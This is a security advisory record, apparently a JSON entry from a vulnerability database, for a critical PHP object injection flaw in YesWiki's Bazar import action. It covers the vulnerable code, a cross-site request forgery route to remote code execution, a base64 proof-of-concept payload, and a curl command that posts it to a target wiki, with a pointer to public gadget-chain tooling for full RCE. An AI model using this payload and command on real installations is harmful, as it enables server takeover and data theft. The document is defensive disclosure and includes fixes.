{"id":"GHSA-9369-69wj-7m2f","aliases":["CVE-2026-52777"],"title":"YesWiki Vulnerable to Authenticated PHP Object Injection in BazarImportAction via unserialize","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"CRITICAL","description":"## Details\n\n### Sink\n\n`tools/bazar/services/CSVManager.php` line 372-399:\n\n```\npublic function importEntry(array $importedEntries, string $formId): ?array\n{\n    if (!$this->importdone) {\n        // ...\n        foreach ($importedEntries as $entry) {\n            $entry = unserialize(base64_decode($entry));   // <-- SINK\n            $entry = array_map('strval', $entry);\n            // ...\n```\n\nThere is no `['allowed_classes' => false]` argument; arbitrary classes are instantiated. The subsequent `array_map('strval', $entry)` additionally exercises `__toString` on each top-level array element, doubling the magic-method surface available to a gadget chain.\n\n### Source\n\n`tools/bazar/actions/BazarImportAction.php`:\n\n```\n// formatArguments()\n'mode' => (isset($_POST['submit_file']) && !empty($_FILES['fileimport']['name'])) ? 'submitfile' :\n    (isset($_POST['importfiche']) ? 'importentries' : 'default'),\n'importentries' => $_POST['importfiche'] ?? null,\n\n// run()\ncase 'importentries':\n    // ...\n    $importedEntries = $this->CSVManager->importEntry($this->arguments['importentries'], $vID['id']);\n    break;\n```\n\n`$_POST['importfiche']` flows directly to the sink. The `mode` switches to `'importentries'` whenever the request body contains the key, so an attacker need only POST `importfiche[0]=<payload>`.\n\n### Reachability\n\n1. The action is registered as `bazarimport`. The default `BazaR` page (`setup/sql/default-content.sql` -> `BazaR` page entry, ships with `{{bazar showexportbuttons=\"1\"}}`) routes `?BazaR&vue=importer&id_typeannonce=<N>` to `BazarAction::run()` -> `case VOIR_IMPORTER -> callAction('bazarimport', ...)` (`tools/bazar/actions/BazarAction.php:257-258`). So the sink is reachable on a default install with no extra page authoring.\n\n2. `BazarImportAction::run()` calls `$this->checkSecuredACL()` with the default `$adminOnly=true`. Only wiki admins (or accounts the admin has added to the `bazarimport` action ACL) can execute it.\n\n3. The `importentries` branch does NOT invoke `CsrfTokenController::checkToken(...)`. Grepping `tools/bazar/actions/BazarImportAction.php` confirms the action class has no `csrf` or `checkToken` reference at all. This is asymmetric with sibling actions: `tools/bazar/controllers/FormController.php` does call `checkToken('main', 'POST', 'confirmDeleteToken')` for destructive operations. The import path skips the same protection.\n\n4. Therefore the full kill chain for a remote attacker is:\n\n   a. Identify any admin user on the target wiki.\n   b. Deliver an HTML page (email, chat, link) that auto-POSTs `importfiche[0]=<base64-encoded PHPGGC payload>` to `https://<wiki>/?BazaR&vue=importer&id_typeannonce=1`.\n   c. The admin's session cookie is sent automatically; the action passes `checkSecuredACL`; the unserialize fires.\n\n### Gadget chain availability\n\n`composer.json` requires `doctrine/annotations ^1.11` and `doctrine/cache ^1.10`. Both have published PHPGGC chains (`Doctrine/RCE1`, `Doctrine/FW1`, `Doctrine/FW2`, etc., from https://github.com/ambionics/phpggc). These chains terminate in either `system($cmd)` (RCE1) or `file_put_contents($php_file, $contents)` (FW1) entry-points -- both sufficient to give the attacker shell on the YesWiki host.\n\nThis advisory does not include a working PHPGGC chain end-to-end (writing a chain that survives YesWiki's exact dependency-resolved class graph is separate work). The PoC demonstrates the primitive (attacker-controlled class instantiation + magic-method execution); the chain is a downstream exercise using public tooling.\n\n### Past advisories cross-check\n\nYesWiki's published GitHub advisories cover XSS, SQLi, arbitrary-PHP-file-write RCE, path traversal, and unauthenticated backup download. None covers an `unserialize` / PHP-object-injection sink, so this is a novel vulnerability class for the project.\n\n## PoC\n\nA self-contained PoC reproducing the inner loop is available; it copies the exact two-line sink and proves that attacker-controlled `__destruct` runs without booting the full application.\n\nRun:\n\n```\nphp poc.php\n```\n\nOutput (verbatim):\n\n```\nCrafted importfiche[0] payload (form-ready, urlencoded):\nYToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ%3D%3D\n\n== before importEntry ==\n[Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE'\nPHP Fatal error:  Uncaught Error: Object of class Gadget could not be converted to string ...\n[Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE'\n```\n\nThe two `[Gadget] __destruct fired` lines (one from inside the loop, one from the engine shutdown after the TypeError) confirm that the attacker-defined `Gadget::__destruct` executed -- with the attacker-supplied marker -- inside the unmodified `importEntry` code path.\n\nEnd-to-end against a live YesWiki install:\n\n```\ncurl -i -b \"yeswiki_session=<admin_cookie>\" \\\n     -X POST \"https://wiki.example.com/?BazaR&vue=importer&id_typeannonce=1\" \\\n     --data-urlencode \\\n     \"importfiche[0]=YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ==\"\n```\n\n(replace the payload with a real PHPGGC `Doctrine/FW1` or `Doctrine/RCE1` output to obtain RCE on the target host).\n\n## Impact\n\n- Authenticated wiki admin who lands on attacker-controlled HTML obtains remote code execution on the YesWiki server (via the cross-site forgery path; no admin interaction with the import UI is required).\n- An attacker who has already compromised an admin password upgrades from \"wiki content management\" to \"OS shell on the hosting box\".\n- The compromise survives the wiki layer entirely: the attacker can write web shells, exfiltrate other sites on shared hosting, modify `wakka.config.php`, dump the MySQL database, and pivot from there.\n\n## Suggested fix\n\n1. `tools/bazar/services/CSVManager.php::importEntry` -- pass `['allowed_classes' => false]` to `unserialize`, or, better, replace the base64+serialize transport with the JSON transport the current UI already uses (`?api/entries/{formId}` POST in `tools/bazar/presentation/javascripts/bazar-import.js`). The serialized-PHP transport appears to be an unused legacy path.\n2. `tools/bazar/actions/BazarImportAction.php` -- add a `CsrfTokenController::checkToken('main', 'POST', 'csrf-token', false)` guard for the `'importentries'` mode (and any other state-changing modes). The existing `tools/bazar/controllers/FormController.php` pattern can be lifted directly.","severity":"critical","score":9.4,"published":"2026-07-09T21:02:58.000Z","modified":"2026-07-09T21:26:41.935Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"yeswiki/yeswiki","sources":[{"name":"OSV · GHSA-9369-69wj-7m2f","url":"https://osv.dev/vulnerability/GHSA-9369-69wj-7m2f"}],"ranges":[{"events":[{"introduced":"0"},{"fixed":"4.6.6"}],"type":"ECOSYSTEM"}],"versions":["4.2.3","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.2.0","v4.2.1","v4.2.2","v4.2.4","v4.3","v4.3.1","v4.4.0","v4.4.1","v4.4.2","v4.4.3","v4.4.4","v4.4.5","v4.5.0","v4.5.1","v4.5.2","v4.5.3","v4.5.4","v4.5.5","v4.6.0","v4.6.1","v4.6.2","v4.6.3","v4.6.4","v4.6.5"],"fixed":["4.6.6"]}],"sourceAffected":[],"references":["https://github.com/YesWiki/yeswiki/security/advisories/GHSA-9369-69wj-7m2f","https://github.com/YesWiki/yeswiki/commit/8f70a8d6b8befa0e644d03c785701dbbc55b8fd0","https://github.com/YesWiki/yeswiki"],"sources":[{"name":"OSV","id":"GHSA-9369-69wj-7m2f","modified":"2026-07-09T21:26:41.935923Z","url":"https://osv.dev/vulnerability/GHSA-9369-69wj-7m2f"}],"assessments":[{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4}],"products":[],"remediation":[],"kev":{"status":"not-listed","checkedAt":"2026-10-28T17:05:31.835Z"},"coverage":[{"source":"NVD","status":"not-checked"},{"source":"GHSA","status":"not-checked"},{"source":"EUVD","status":"not-checked"},{"source":"EPSS","status":"not-checked"}],"evidence":[]}